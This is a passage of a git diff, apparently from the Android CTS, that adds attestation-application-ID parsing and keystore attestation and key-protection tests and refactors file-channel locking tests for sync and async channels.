 import com.android.org.bouncycastle.asn1.ASN1Sequence;
 import com.android.org.bouncycastle.asn1.ASN1SequenceParser;
 import com.android.org.bouncycastle.asn1.ASN1TaggedObject;
+import com.android.org.bouncycastle.asn1.ASN1InputStream;
 
 import java.io.IOException;
 import java.security.cert.CertificateParsingException;
@@ -118,6 +119,7 @@
     private static final int KM_TAG_ROOT_OF_TRUST = KM_BYTES | 704;
     private static final int KM_TAG_OS_VERSION = KM_UINT | 705;
     private static final int KM_TAG_OS_PATCHLEVEL = KM_UINT | 706;
+    private static final int KM_TAG_ATTESTATION_APPLICATION_ID = KM_BYTES | 709;
 
     // Map for converting padding values to strings
     private static final ImmutableMap<Integer, String> paddingMap = ImmutableMap
@@ -172,6 +174,7 @@
     private RootOfTrust rootOfTrust;
     private Integer osVersion;
     private Integer osPatchLevel;
+    private AttestationApplicationId attestationApplicationId;
 
     public AuthorizationList(ASN1Encodable sequence) throws CertificateParsingException {
         if (!(sequence instanceof ASN1Sequence)) {
@@ -253,6 +256,10 @@
                 case KM_TAG_ROOT_OF_TRUST & KEYMASTER_TAG_TYPE_MASK:
                     rootOfTrust = new RootOfTrust(value);
                     break;
+                case KM_TAG_ATTESTATION_APPLICATION_ID & KEYMASTER_TAG_TYPE_MASK:
+                    attestationApplicationId = new AttestationApplicationId(Asn1Utils
+                            .getAsn1EncodableFromBytes(Asn1Utils.getByteArrayFromAsn1(value)));
+                    break;
                 case KM_TAG_ALL_APPLICATIONS & KEYMASTER_TAG_TYPE_MASK:
                     allApplications = true;
                     break;
@@ -481,6 +488,10 @@
         return osPatchLevel;
     }
 
+    public AttestationApplicationId getAttestationApplicationId() {
+        return attestationApplicationId;
+    }
+
     @Override
     public String toString() {
         StringBuilder s = new StringBuilder();
@@ -562,6 +573,9 @@
             s.append("\nOS Patchlevel: ").append(osPatchLevel);
         }
 
+        if (attestationApplicationId != null) {
+            s.append("\nAttestation Application Id:").append(attestationApplicationId);
+        }
         return s.toString();
     }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
index 130a9ee..67c4e3a 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyAttestationTest.java
@@ -50,10 +50,13 @@
 import static org.junit.matchers.JUnitMatchers.hasItems;
 
 import com.google.common.collect.ImmutableSet;
-
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.content.Context;
 import android.os.Build;
 import android.os.SystemProperties;
 import android.security.KeyStoreException;
+import android.security.keystore.AttestationUtils;
+import android.security.keystore.DeviceIdAttestationException;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.test.AndroidTestCase;
@@ -106,6 +109,7 @@
             .compile("([0-9]{4})-([0-9]{2})-[0-9]{2}");
 
     private static final int KM_ERROR_INVALID_INPUT_LENGTH = -21;
+    private static final int KM_ERROR_PERMISSION_DENIED = 6;
 
     public void testVersionParser() throws Exception {
         // Non-numerics/empty give version 0
@@ -208,6 +212,29 @@
         }
     }
 
+    public void testEcAttestation_KeyStoreExceptionWhenRequestingUniqueId() throws Exception {
+        String keystoreAlias = "test_key";
+        KeyGenParameterSpec spec = new KeyGenParameterSpec.Builder(keystoreAlias, PURPOSE_SIGN)
+                .setAlgorithmParameterSpec(new ECGenParameterSpec("secp256r1"))
+                .setDigests(DIGEST_NONE, DIGEST_SHA256, DIGEST_SHA512)
+                .setAttestationChallenge(new byte[128])
+                .setUniqueIdIncluded(true)
+                .build();
+
+        try {
+            generateKeyPair(KEY_ALGORITHM_EC, spec);
+            fail("Attestation should have failed.");
+        } catch (ProviderException e) {
+            // Attestation is expected to fail because of lack of permissions.
+            KeyStoreException cause = (KeyStoreException) e.getCause();
+            assertEquals(KM_ERROR_PERMISSION_DENIED, cause.getErrorCode());
+        } finally {
+            KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
+            keyStore.load(null);
+            keyStore.deleteEntry(keystoreAlias);
+        }
+    }
+
     public void testRsaAttestation() throws Exception {
         int[] keySizes = { // Smallish sizes to keep test runtimes down.
                 512, 768, 1024
@@ -354,6 +381,12 @@
         }
     }
 
+    public void testDeviceIdAttestation() throws Exception {
+        testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_SERIAL, null);
+        testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_IMEI, "Unable to retrieve IMEI");
+        testDeviceIdAttestationFailure(AttestationUtils.ID_TYPE_MEID, "Unable to retrieve MEID");
+    }
+
     @SuppressWarnings("deprecation")
     private void testRsaAttestation(byte[] challenge, boolean includeValidityDates, int keySize,
             int purposes, String[] paddingModes) throws Exception {
@@ -457,8 +490,28 @@
         }
     }
 
+    private void checkAttestationApplicationId(Attestation attestation)
+            throws NoSuchAlgorithmException, NameNotFoundException {
+        AttestationApplicationId aaid = null;
+        int kmVersion = attestation.getKeymasterVersion();
+        assertNull(attestation.getTeeEnforced().getAttestationApplicationId());
+        aaid = attestation.getSoftwareEnforced().getAttestationApplicationId();
+        if (kmVersion >= 3) {
+            // must be present and correct
+            assertNotNull(aaid);
+            assertEquals(new AttestationApplicationId(getContext()), aaid);
+        } else {
+            // may be present and
+            // must be correct if present
+            if (aaid != null) {
+                assertEquals(new AttestationApplicationId(getContext()), aaid);
+            }
+        }
+    }
+
     private void checkKeyIndependentAttestationInfo(byte[] challenge, int purposes, Date startTime,
-            boolean includesValidityDates, Attestation attestation) {
+            boolean includesValidityDates, Attestation attestation)
+            throws NoSuchAlgorithmException, NameNotFoundException {
         checkAttestationSecurityLevelDependentParams(attestation);
         assertNotNull(attestation.getAttestationChallenge());
         assertTrue(Arrays.equals(challenge, attestation.getAttestationChallenge()));
@@ -470,6 +523,7 @@
         checkValidityPeriod(attestation, startTime, includesValidityDates);
         checkFlags(attestation);
         checkOrigin(attestation);
+        checkAttestationApplicationId(attestation);
     }
 
     private int getSystemPatchLevel() {
@@ -631,6 +685,7 @@
                     break;
 
                 case 2:
+                case 3:
                     assertThat(teeEnforcedDigests, is(expectedDigests));
                     break;
 
@@ -659,7 +714,8 @@
 
     @SuppressWarnings("unchecked")
     private void checkAttestationSecurityLevelDependentParams(Attestation attestation) {
-        assertEquals("Attestation version must be 1", 1, attestation.getAttestationVersion());
+        assertThat("Attestation version must be 1 or 2", attestation.getAttestationVersion(),
+                either(is(1)).or(is(2)));
 
         AuthorizationList teeEnforced = attestation.getTeeEnforced();
         AuthorizationList softwareEnforced = attestation.getSoftwareEnforced();
@@ -672,7 +728,7 @@
                 assertThat("TEE attestation can only come from TEE keymaster",
                         attestation.getKeymasterSecurityLevel(),
                         is(KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT));
-                assertThat(attestation.getKeymasterVersion(), is(2));
+                assertThat(attestation.getKeymasterVersion(), either(is(2)).or(is(3)));
 
                 checkRootOfTrust(attestation);
                 assertThat(teeEnforced.getOsVersion(), is(systemOsVersion));
@@ -685,8 +741,8 @@
                     assertThat("TEE KM version must be 0 or 1 with software attestation",
                             attestation.getKeymasterVersion(), either(is(0)).or(is(1)));
                 } else {
-                    assertThat("Software KM is version 2", attestation.getKeymasterVersion(),
-                            is(2));
+                    assertThat("Software KM is version 3", attestation.getKeymasterVersion(),
+                            is(3));
                     assertThat(softwareEnforced.getOsVersion(), is(systemOsVersion));
                     assertThat(softwareEnforced.getOsPatchLevel(), is(systemPatchLevel));
                 }
@@ -835,4 +891,24 @@
             }
         }
     }
+
+    private void testDeviceIdAttestationFailure(int idType,
+            String acceptableDeviceIdAttestationFailureMessage) throws Exception {
+        try {
+            AttestationUtils.attestDeviceIds(getContext(), new int[] {idType}, "123".getBytes());
+            fail("Attestation should have failed.");
+        } catch (SecurityException e) {
+            // Attestation is expected to fail. If the device has the device ID type we are trying
+            // to attest, it should fail with a SecurityException as we do not hold
+            // READ_PRIVILEGED_PHONE_STATE permission.
+        } catch (DeviceIdAttestationException e) {
+            // Attestation is expected to fail. If the device does not have the device ID type we
+            // are trying to attest (e.g. no IMEI on devices without a radio), it should fail with
+            // a corresponding DeviceIdAttestationException.
+            if (acceptableDeviceIdAttestationFailureMessage == null ||
+                    !acceptableDeviceIdAttestationFailureMessage.equals(e.getMessage())) {
+                throw e;
+            }
+        }
+    }
 }
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java
index caa6336..77cde44 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyChainTest.java
@@ -61,26 +61,6 @@
         }
     }
 
-    public void testGetPrivateKeyOnMainThreadFails() throws InterruptedException {
-        final CountDownLatch waiter = new CountDownLatch(1);
-        new Handler(getContext().getMainLooper()).post(new Runnable() {
-            @Override
-            public void run() {
-                try {
-                    KeyChain.getPrivateKey(getContext(), "");
-                    fail("IllegalStateException was expected for calling "
-                            + "KeyChain.getPrivateKey(Context, String) on main thread");
-                } catch (IllegalStateException expected) {
-                } catch (Exception invalid) {
-                    fail("Expected IllegalStateException, received " + invalid);
-                } finally {
-                    waiter.countDown();
-                }
-            }
-        });
-        waiter.await();
-    }
-
     /**
      * Tests whether the required algorithms are backed by a Keymaster HAL that
      * binds the key material to the specific device it was created or imported
diff --git a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
index ee24eed..2392249 100644
--- a/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/KeyProtectionTest.java
@@ -16,6 +16,7 @@
 
 package android.keystore.cts;
 
+import android.security.GateKeeper;
 import android.security.keystore.KeyProperties;
 import android.security.keystore.KeyProtection;
 import android.test.MoreAsserts;
@@ -47,6 +48,7 @@
         MoreAsserts.assertEmpty(Arrays.asList(spec.getSignaturePaddings()));
         assertFalse(spec.isUserAuthenticationRequired());
         assertEquals(-1, spec.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(GateKeeper.INVALID_SECURE_USER_ID, spec.getBoundToSpecificSecureUserId());
     }
 
     public void testSettersReflectedInGetters() {
@@ -70,6 +72,7 @@
                         KeyProperties.SIGNATURE_PADDING_RSA_PSS)
                 .setUserAuthenticationRequired(true)
                 .setUserAuthenticationValidityDurationSeconds(123456)
+                .setBoundToSpecificSecureUserId(654321)
                 .build();
 
         assertEquals(
@@ -89,6 +92,7 @@
                 KeyProperties.SIGNATURE_PADDING_RSA_PKCS1, KeyProperties.SIGNATURE_PADDING_RSA_PSS);
         assertTrue(spec.isUserAuthenticationRequired());
         assertEquals(123456, spec.getUserAuthenticationValidityDurationSeconds());
+        assertEquals(654321, spec.getBoundToSpecificSecureUserId());
     }
 
     public void testSetKeyValidityEndDateAppliesToBothEndDates() {
diff --git a/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java b/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java
index 17307f7..02c2cf6 100644
--- a/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java
+++ b/tests/tests/keystore/src/android/keystore/cts/SecretKeyFactoryTest.java
@@ -168,7 +168,17 @@
             try {
                 KeyGenerator keyGenerator =
                         KeyGenerator.getInstance(algorithm, EXPECTED_PROVIDER_NAME);
-                keyGenerator.init(new KeyGenParameterSpec.Builder("test1", 0).build());
+                if (algorithm.equals("AES")) {
+                    keyGenerator.init(new KeyGenParameterSpec.Builder("test1",
+                                    KeyProperties.PURPOSE_ENCRYPT)
+                            .setBlockModes(KeyProperties.BLOCK_MODE_CBC)
+                            .setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
+                            .build());
+                } else {
+                    keyGenerator.init(new KeyGenParameterSpec.Builder("test1",
+                                    KeyProperties.PURPOSE_SIGN)
+                            .build());
+                }
                 SecretKey key = keyGenerator.generateKey();
 
                 SecretKeyFactory keyFactory = getKeyFactory(algorithm);
diff --git a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
index 2c87005..1642e5c 100644
--- a/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
+++ b/tests/tests/keystore/src/android/keystore/cts/TestUtils.java
@@ -499,6 +499,7 @@
         result.setUserAuthenticationRequired(spec.isUserAuthenticationRequired());
         result.setUserAuthenticationValidityDurationSeconds(
                 spec.getUserAuthenticationValidityDurationSeconds());
+        result.setBoundToSpecificSecureUserId(spec.getBoundToSpecificSecureUserId());
         return result;
     }
 
diff --git a/tests/tests/libcorefileio/AndroidTest.xml b/tests/tests/libcorefileio/AndroidTest.xml
index 9baa713..c2b230e 100644
--- a/tests/tests/libcorefileio/AndroidTest.xml
+++ b/tests/tests/libcorefileio/AndroidTest.xml
@@ -1,3 +1,4 @@
+<?xml version="1.0" encoding="utf-8"?>
 <!-- Copyright (C) 2016 The Android Open Source Project
 
      Licensed under the Apache License, Version 2.0 (the "License");
@@ -13,11 +14,13 @@
      limitations under the License.
 -->
 <configuration description="Config for CTS Legacy Libcore test cases">
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.ApkInstaller">
+    <option name="config-descriptor:metadata" key="component" value="libcore" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsLibcoreFileIOTestCases.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.libcorefileio.cts" />
+        <option name="runtime-hint" value="14m" />
     </test>
-</configuration>
\ No newline at end of file
+</configuration>
diff --git a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
index 4259e4c..2920654 100644
--- a/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
+++ b/tests/tests/libcorefileio/src/android/cts/FileChannelInterProcessLockTest.java
@@ -27,8 +27,12 @@
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
 import java.io.IOException;
+import java.nio.channels.AsynchronousFileChannel;
+import java.nio.channels.FileChannel;
 import java.nio.channels.FileLock;
+import java.nio.file.StandardOpenOption;
 import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.ExecutionException;
 
 import static java.util.concurrent.TimeUnit.SECONDS;
 
@@ -60,30 +64,26 @@
         super.tearDown();
     }
 
-    /**
-     * java.nio.channels.FileChannel#tryLock()
-     *
-     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
-     * and checks the behavior.
-     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
-     * expectedLockLockResult: {@code true} if the returned lock should be valid,
-     * {@code false} otherwise.
-     */
-    public void test_tryLock() throws Exception {
-        checkTryLockBehavior(LockType.TRY_LOCK, LockType.TRY_LOCK, false /* expectToGetLock */);
-        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+    public void test_tryLock_syncChannel() throws Exception {
+        doTest_tryLock(ChannelType.SYNC_CHANNEL, ChannelType.SYNC_CHANNEL);
+    }
+
+    public void test_tryLock_asyncChannel() throws Exception {
+        doTest_tryLock(ChannelType.ASYNC_CHANNEL, ChannelType.ASYNC_CHANNEL);
+    }
+
+    public void test_tryLock_differentChannelTypes() throws Exception {
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.TRY_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL,
                 false /* expectToGetLock */);
-        checkTryLockBehavior(LockType.TRY_LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                false /* expectToGetLock */);
-        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK, false /* expectToGetLock */);
-        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
-                false /* expectToGetLock */);
-        checkTryLockBehavior(LockType.TRY_LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.TRY_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL,
                 false /* expectToGetLock */);
     }
 
     /**
-     * java.nio.channels.FileChannel#tryLock(long, long, boolean)
+     * java.nio.channels.[Asynchronouse]FileChannel#tryLock()
      *
      * Obtains a remote lock, then attempts to acquire a local lock on the same file,
      * and checks the behavior.
@@ -91,34 +91,111 @@
      * expectedLockLockResult: {@code true} if the returned lock should be valid,
      * {@code false} otherwise.
      */
-    public void test_tryLockJJZ_Exclusive() throws Exception {
+    private void doTest_tryLock(ChannelType localChannelType, ChannelType remoteChannelType)
+            throws Exception {
+
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.TRY_LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+    }
+
+    public void test_tryLockJJZ_Exclusive_syncChannel() throws Exception {
+        doTest_tryLockJJZ_Exclusive(ChannelType.SYNC_CHANNEL, ChannelType.SYNC_CHANNEL);
+    }
+
+    public void test_tryLockJJZ_Exclusive_asyncChannel() throws Exception {
+        doTest_tryLockJJZ_Exclusive(ChannelType.ASYNC_CHANNEL, ChannelType.ASYNC_CHANNEL);
+    }
+
+    public void test_tryLockJJZ_Exclusive_differentChannelTypes() throws Exception {
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
-                false /* expectToGetLock */);
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, false /* expectToGetLock */);
+
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToGetLock */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, true /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, true /* expectToGetLock */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, true /* expectToGetLock */);
+    }
+
+    /**
+     * java.nio.channels.[Asynchronous]FileChannel#tryLock(long, long, boolean)
+     *
+     * Obtains a remote lock, then attempts to acquire a local lock on the same file,
+     * and checks the behavior.
+     * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
+     * expectedLockLockResult: {@code true} if the returned lock should be valid,
+     * {@code false} otherwise.
+     */
+    private void doTest_tryLockJJZ_Exclusive(ChannelType localChannelType,
+            ChannelType remoteChannelType) throws Exception {
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToGetLock */);
+                LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
                 LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
-                true /* expectToGetLock */);
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
 
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK, LockType.LOCK,
-                false /* expectToGetLock */);
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_REGION_WITH_LOCK, false /* expectToGetLock */);
+                LockType.LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, true /* expectToGetLock */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, false /* expectToGetLock */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
                 LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
-                true /* expectToGetLock */);
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
+    }
+
+    public void test_tryLockJJZ_Shared_syncChannel() throws Exception {
+        doTest_tryLockJJZ_Shared(ChannelType.SYNC_CHANNEL, ChannelType.SYNC_CHANNEL);
+    }
+
+    public void test_tryLockJJZ_Shared_asyncChannel() throws Exception {
+        doTest_tryLockJJZ_Shared(ChannelType.ASYNC_CHANNEL, ChannelType.ASYNC_CHANNEL);
+    }
+
+    public void test_tryLockJJZ_Shared_differentChannelTypes() throws Exception {
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, false /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, false /* expectToGetLock */);
+
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, true /* expectToGetLock */);
+        checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, true /* expectToGetLock */);
     }
 
     /**
-     * java.nio.channels.FileChannel#tryLock(long, long, boolean)
+     * java.nio.channels.[Asynchronous]FileChannel#tryLock(long, long, boolean)
      *
      * Obtains a remote lock, then attempts to acquire a local lock on the same file,
      * and checks the behavior.
@@ -126,135 +203,228 @@
      * expectedLockLockResult: {@code true} if the returned lock should be valid,
      * {@code false} otherwise.
      */
-    public void test_tryLockJJZ_Shared() throws Exception {
+    private void doTest_tryLockJJZ_Shared(ChannelType localChannelType,
+            ChannelType remoteChannelType) throws Exception {
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, LockType.TRY_LOCK,
-                false /* expectToGetLock */);
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_REGION_WITH_TRY_LOCK, false /* expectToGetLock */);
+                LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK, true /* expectToGetLock */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, true /* expectToGetLock */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
                 LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_TRY_LOCK,
-                true /* expectToGetLock */);
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
 
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK, LockType.LOCK,
-                false /* expectToGetLock */);
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_REGION_WITH_LOCK, false /* expectToGetLock */);
+                LockType.LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, false /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK, true /* expectToGetLock */);
+                LockType.LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
-                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK, true /* expectToGetLock */);
+                LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
         checkTryLockBehavior(LockType.SHARED_LOCK_ON_REGION_WITH_TRY_LOCK,
                 LockType.SHARED_LOCK_ON_NON_OVERLAPPING_REGION_WITH_LOCK,
-                true /* expectToGetLock */);
+                localChannelType, remoteChannelType, true /* expectToGetLock */);
+    }
+
+    public void test_lock_syncChannel() throws Exception {
+        doTest_lock(ChannelType.SYNC_CHANNEL, ChannelType.SYNC_CHANNEL);
+    }
+
+    public void test_lock_asyncChannel() throws Exception {
+        doTest_lock(ChannelType.ASYNC_CHANNEL, ChannelType.ASYNC_CHANNEL);
+    }
+
+    public void test_lock_differentChannelTypes() throws Exception {
+        checkLockBehavior(LockType.LOCK, LockType.LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, true /* expectToWait */);
+
+        checkLockBehavior(LockType.LOCK, LockType.TRY_LOCK,
+                ChannelType.SYNC_CHANNEL, ChannelType.ASYNC_CHANNEL, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.TRY_LOCK,
+                ChannelType.ASYNC_CHANNEL, ChannelType.SYNC_CHANNEL, true /* expectToWait */);
     }
 
     /**
-     * java.nio.channels.FileChannel#lock()
+     * java.nio.channels.[Asynchronous]FileChannel#lock()
      *
      * Obtains a remote lock, then attempts to acquire a local lock on the same file,
      * and checks the behavior.
      * checkTryLockBehavior(localLockType, remoteLockType, expectedLocalLockResult)
      * expectedLockLockResult: {@code true} if it blocks the local thread, {@code false} otherwise.
      */
-    public void test_lock() throws Exception {
-        checkLockBehavior(LockType.LOCK, LockType.LOCK, true /* expectToWait */);
+    private void doTest_lock(ChannelType localChannelType, ChannelType remoteChannelType)
+            throws Exception {
+        checkLockBehavior(LockType.LOCK, LockType.LOCK,
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK, LockType.LOCK_ON_REGION_WITH_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK, LockType.SHARED_LOCK_ON_REGION_WITH_LOCK,
-                true /* expectToWait */);
+                localChannelType, remoteChannelType, true /* expectToWait */);
 
-        checkLockBehavior(LockType.LOCK, LockType.TRY_LOCK, true /* expectToWait */);
+        checkLockBehavior(LockType.LOCK, LockType.TRY_LOCK,
+                localChannelType, remoteChannelType, true /* expectToWait */);
         checkLockBehavior(LockType.LOCK, LockType.LOCK_ON_REGION_WITH_TRY_LOCK,
-                true /* expectToWait */);
